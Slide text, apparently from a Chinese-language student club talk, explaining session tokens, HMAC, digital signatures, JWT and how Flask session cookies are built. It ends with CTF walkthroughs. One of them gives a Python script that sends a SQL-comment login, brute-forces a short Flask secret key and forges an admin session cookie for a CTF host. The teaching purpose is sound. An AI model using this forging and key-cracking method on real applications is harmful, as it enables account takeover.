Session & 數位簽章 & FLASK

講師:堇姬

堇姬Naup(網管/美宣)

成電二年級/幽夜工作室繪師

CKCSC36

DC : naup_sumire_hime

IG : ckcsc36th_naup

涉獵C++、C、python、遊戲(tkinter、pygame)、資安(Web、Crypto)、AI、flask、html/css/js、 PHP、DC bot。

喜歡看輕小說、動畫、Vtuber、打音遊,也喜歡看百合,就是一個長年混跡ACG的宅女。

Session 令牌

token

token是當使用者登入成功後,server端產生並回傳的一組能象徵該使用者的『權杖』。

token長怎樣?

其實session不只有一種樣式,可以有很多種

既然令牌功能是驗證身分,那必然需要在令牌中儲存資訊。

eyJ1c2VybmFtZSI6Ik5hdXBqamluIn0

{"username":"Naupjjin"}

base64

但如果Token只有這樣是不是會有甚麼問題?

安全性不足!!!

eyJ1c2VybmFtZSI6ImFkbWluIn0

{"username":"admin"}

偽造token超級簡單(X

MAC訊息鑑別碼

Message Authentication Code

是經過特定演算法後產生的一小段資訊,檢查某段訊息的完整性,以及作身分驗證。

使用步驟

  1. 客戶先以安全的方式產生兩組密鑰(假設為A和B)給電商,「密鑰A」用於加密訊息 (E.g. 商品編號),「密鑰B」用於產生訊息識別碼。
  2. 客戶將被「密鑰A」加密後的密文再和「密鑰B」 hash 產生 MAC
  3. 將密文(含例如:商品編號)和 MAC 一同交給電商
  4. 電商將收到的密文和之前收到的「密鑰B」也 hash 產生出 MAC
  5. MAC 相同即代表內容未被串改

HMAC

eyJ1c2VybmFtZSI6ImFkbWluIn0

{"username":"admin"}

hmac(SECRET_KEY , data)

base64

4r_7cqWTL6Zn2QP5C83KV8nPOMA

.

from itsdangerous import base64_encode
import hmac
print(base64_encode(hmac.new(b"Secret",msg=b'{"username":"Naupjjin"}', digestmod=hashlib.sha1).digest()))

舉個例子:

數位簽章

Digital Signature

  • 誰簽章的

  • 簽什麼文件(內容)

  • 何時簽章的

  • 「身份鑑別」

  • 「檢查訊息完整性」

  • 「不可抵賴性」

特性

我喜歡你
我喜歡你
我喜歡你
我喜歡你

水銀燈的密鑰

水銀燈的公鑰

用於確保數據在傳輸或存儲過程中不被篡改或竄改,同時能證明數據的來源是可信的。

數位憑證

Digital Certificate

公開金鑰密碼系統時,無法得知公開金鑰的擁有者身份,收到的公開金鑰裡,並未包含任何可表示製作者的資訊,有可能是偽裝成A的其他人所製作的公開金鑰

故引入第三方機構來解決公鑰身分驗證問題

憑證機構可以由任何人或任何公司發行

JWT(JSON Web Token)

數位簽章常見的方式是使用 JSON Web Token(JWT)

HEADER.PAYLOAD.SIGNATURE

分成三段

HEADER

1.聲明類型

2.聲明加密演算法

{
  'typ': 'JWT',
  'alg': 'HS256'
}

base64

ewogICd0eXAnOiAnSldUJywKICAnYWxnJzogJ0hTMjU2Jwp9

PAYLOAD

包含有關使用者或其他實體的聲明。這些聲明是一些有關實體的資訊,包含使用者的身份資訊、角色、權限或其他相關數據。

JWT 的 Payload 可以包含標準聲明自訂聲明

(不一定要有)

標準聲明

  • iss(Issuer):標識 JWT 的發行者。
  • sub(Subject):標識 JWT 的主題,即使用者或實體的唯一標識符。
  • aud(Audience):接收 JWT 的預期受眾。
  • exp(Expiration Time):JWT 的過期時間,表示在這個時間之後,JWT 將不再被接受。
  • nbf(Not Before):JWT 的生效時間,表示在這個時間之前,JWT 不會被接受。
  • iat(Issued At):JWT 的發行時間。
  • jti(JWT ID):JWT 的唯一標識符,用於防止重放攻擊。

自訂聲明

開發人員可以根據需要在 JWT 的 Payload 中添加自訂聲明,來攜帶應用程式特定的資訊。

{
  "iss": "www.example.com",         // 發行者 (Issuer)
  "sub": "user123",                // 主題 (Subject),使用者的唯一標識符
  "aud": "api.example.com",        // 預期接收JWT的受眾 (Audience)
  "jti": "abc123xyz",              // JWT的唯一標識符 (JWT ID),用於防止重放攻擊
  "roles": ["user", "admin"],      // 自訂聲明,使用者的角色
  "is_verified": true              // 自訂聲明,表示使用者是否已驗證
}

ewogICJpc3MiOiAid3d3LmV4YW1wbGUuY29tIiwgICAgICAgIAogICJzdWIiOiAidXNlcjEyMyIsICAgICAgICAgICAgICAgCiAgImF1ZCI6ICJhcGkuZXhhbXBsZS5jb20iLCAgICAgICAKICAianRpIjogImFiYzEyM3h5eiIsICAgICAgICAgIAogICJyb2xlcyI6IFsidXNlciIsICJhZG1pbiJdLCAgICAKICAiaXNfdmVyaWZpZWQiOiB0cnVlICAgICAgIAp9

SIGNATURE

Signature是將被轉換成 Base64 編碼的 Header、Payload 與自己定義的密鑰,透過在 Header 設定的雜湊演算法方式所產生的。

HMACSHA256 ( header.payload, secret)

Flask session token

跟JWT很像但不太一樣

base64(JSON session data) . encoded timestamp . HMAC

時間戳記

各種狀態及資訊

eyJoZWxsbyI6IndvcmxkMiIsInVzZXJuYW1lIjoiYWRtaW4ifQ . YbDIxQ . lvkY_D2TEqYp17FdMdgDLOaQNaA

舉例:

#當然也可以使用其他方式

from itsdangerous import base64_encode
import hashlib, hmac

session_data = base64_encode(b'{"username":"curious"}')
session_time = base64_encode(b'<time stamp in bytes>')

pre_session = session_data + b'.' + session_time

# `secret_key` here is `app.secret_key`
key = hmac.new(secret_key, msg=b'cookie-session', digestmod=hashlib.sha1).digest()
session_hmac = base64_encode(hmac.new(key, msg=pre_session, digestmod=hashlib.sha1).digest())

session = pre_session + b'.' + session_hmac

生成方式

eyJ1c2VybmFtZSI6Ik5hdXAifQ.MjM0NTY4OQ.CByC7vXELnx-_GhXN-vrMaVv66E

from itsdangerous import base64_encode
import hashlib, hmac
secret_key=b"Naup96321"
session_data = base64_encode(b'{"username":"Naup"}')
session_time = base64_encode(b'2345689')

pre_session = session_data + b'.' + session_time

# `secret_key` here is `app.secret_key`
key = hmac.new(secret_key, msg=b'cookie-session', digestmod=hashlib.sha1).digest()
session_hmac = base64_encode(hmac.new(key, msg=pre_session, digestmod=hashlib.sha1).digest())

session = pre_session + b'.' + session_hmac
print(session)

參考文章:

實作個jwt

LoTuX XTF

EYE 1

reload會發現token的第二段、第三段改變了

第一段只有在 Get Flag ! 被點擊之後會改變,合理懷疑跟第一段有關

但是flag在哪裡?

掃到他是用flask做的,所以合理懷疑session也是flask做的

base64(JSON session data) . encoded timestamp . HMAC

第一段是由base64編碼

丟進去得到flag

丟個自己寫的VGP(成發) session的樣子

EYE 2

/robots.txt 的路徑進去後發現

嘗試連連看兩條路徑

訪問 /admin 的話會發現跳回主頁

訪問 /admin-dev 可以發現一些跟 /admin 有關的 flask 程式碼

如果session為空,或是不是admin就回到主頁

可以去想想Flask session怎麼產生

from itsdangerous import base64_encode

session_data = base64_encode(b'{"username":"curious"}')
session_time = base64_encode(b'<time stamp in bytes>')

pre_session = session_data + b'.' + session_time

# `secret_key` here is `app.secret_key`
key = hmac.new(secret_key, msg=b'cookie-session', digestmod=hashlib.sha1).digest()
session_hmac = base64_encode(hmac.new(key, msg=pre_session, digestmod=hashlib.sha1).digest())

session = pre_session + b'.' + session_hmac

base64(JSON session data) . encoded timestamp . HMAC

我們可以嘗試不同的 app.secret_key 去計算 curious 的 session_hmac,如果跟原本 session 的 session_hmac 相同的話就代表我們找到 app.secret_key

import requests as req
from itertools import product
from itsdangerous import base64_decode, base64_encode
from tqdm import tqdm
import hashlib, hmac

def gen_session_hmac(pre_session: bytes, secret_key: bytes):
    key = hmac.new(secret_key, msg=b'cookie-session', digestmod=hashlib.sha1).digest()
    return hmac.new(key, msg=pre_session, digestmod=hashlib.sha1).digest()

session = req.post('http://lotuxctf.com:20002/login', data={'username': "curious' -- ", 'password': '123'}, 
allow_redirects=False).headers['Set-Cookie'].split(';')[0].split('=')[1].encode().split(b'.')

pre_session = session[0] + b'.' + session[1]
right_hmac = base64_decode(session[2])

for new_key in tqdm(product(range(256), repeat=3)):
    new_key = bytes(new_key)
    if gen_session_hmac(pre_session, new_key) == right_hmac:
        secret_key = new_key
        break

new_pre_session = base64_encode('{"username":"admin"}') + b'.' + session[1]
session = new_pre_session + b'.' + base64_encode(gen_session_hmac(new_pre_session, secret_key))

print(session)

接者就用找到的 app.secret_key 去算出一個 session_data 是 base64_encode(b'{"username":"admin"}') 的 session cookie,然後把這個 session cookie 替換掉原本瀏覽器裡面的 session cookie,然後去請求 /admin

session讀書會

By naup96321

session讀書會

  • 45